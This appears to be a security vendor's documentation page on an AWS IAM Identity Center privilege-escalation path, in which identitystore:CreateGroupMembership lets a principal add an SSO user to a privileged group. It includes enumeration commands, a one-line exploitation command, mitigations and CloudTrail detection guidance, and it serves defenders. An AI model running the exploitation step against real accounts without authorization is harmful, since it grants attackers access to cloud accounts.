> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/aws/aws_sso_add_member.md).

# AWS\_SSO\_ADD\_MEMBER

## Summary

|                            |                                        |
| -------------------------- | -------------------------------------- |
| **Forestall ACL Alias**    | AWS\_SSO\_ADD\_MEMBER                  |
| **Affected Object Types**  | `AWSIAMUser\|AWSIAMRole → AWSSSOGroup` |
| **Exploitation Certainty** | High                                   |
| **AWS IAM Action**         | `identitystore:CreateGroupMembership`  |

## Description

> **Account gate:** This edge is only emitted for IAM principals that reside in the Organizations **management account** or an IAM Identity Center **delegated-administrator account** (service principal `sso.amazonaws.com`). Principals in any other member account receive `AccessDenied` from all IdentityStore APIs regardless of their IAM permissions.

An attacker with `identitystore:CreateGroupMembership` can add any SSO user they control to a privileged SSO group. If the target group has account assignments that grant high-privilege Permission Sets, the attacker's SSO user immediately inherits those assignments and can access the associated AWS accounts.

**Edge semantics:** `(Attacker:AWSIAMUser|AWSIAMRole) -[AWS_SSO_ADD_MEMBER]-> (Target:AWSSSOGroup)`

Precondition: the target SSO group must have at least one account assignment; without assignments, membership in the group grants no AWS account access.

## Identification

```bash
# Check if the attacker can create group memberships
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names identitystore:CreateGroupMembership \
  --resource-arns "*"

# List all SSO groups
aws identitystore list-groups \
  --identity-store-id <identity-store-id>

# List members of a specific group
aws identitystore list-group-memberships \
  --identity-store-id <identity-store-id> \
  --group-id <group-id>

# Check account assignments for the group
aws sso-admin list-account-assignments-for-principal \
  --instance-arn <instance-arn> \
  --principal-id <group-id> \
  --principal-type GROUP
```

PowerShell (AWS Tools):

```powershell
Get-IDSGroupMembershipList -IdentityStoreId "<identity-store-id>" -GroupId "<group-id>"
```

## Exploitation

```bash
# Add the attacker-controlled SSO user to the privileged group
aws identitystore create-group-membership \
  --identity-store-id <identity-store-id> \
  --group-id <target-group-id> \
  --member-id '{"UserId":"<attacker-sso-user-id>"}'
```

## Mitigation

* Restrict `identitystore:CreateGroupMembership` to dedicated Identity Center administrator roles; deny for all application and service principals.
* Apply SCPs to deny `identitystore:CreateGroupMembership` from all but a small set of trusted management roles.
* Regularly audit group memberships for high-privilege groups and alert on unexpected additions.
* Use just-in-time access workflows (approval required) for membership changes in groups assigned to privileged accounts.
* Integrate with an external identity provider (e.g., Azure AD, Okta) for authoritative group membership so that the Identity Store API cannot be used to bypass IdP controls.

## Detection

| CloudTrail Event        | Description                      | Key Fields                                                                           |
| ----------------------- | -------------------------------- | ------------------------------------------------------------------------------------ |
| `CreateGroupMembership` | A user was added to an SSO group | `requestParameters.groupId`, `requestParameters.memberId.userId`, `userIdentity.arn` |

Alert when a new membership is created in any SSO group with account assignments. Prioritize events where the added user was recently created or the change falls outside normal windows.

## References

* [AWS Identity Store API: CreateGroupMembership](https://docs.aws.amazon.com/identitystore/latest/APIReference/API_CreateGroupMembership.html)
* [AWS IAM Identity Center: Group Management](https://docs.aws.amazon.com/singlesignon/latest/userguide/users-groups-provisioning.html)
* [HackTricks: AWS IAM Identity Center Privilege Escalation](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-iam-identity-center-privesc)
* [Rhino Security Labs: AWS Privilege Escalation Methods](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)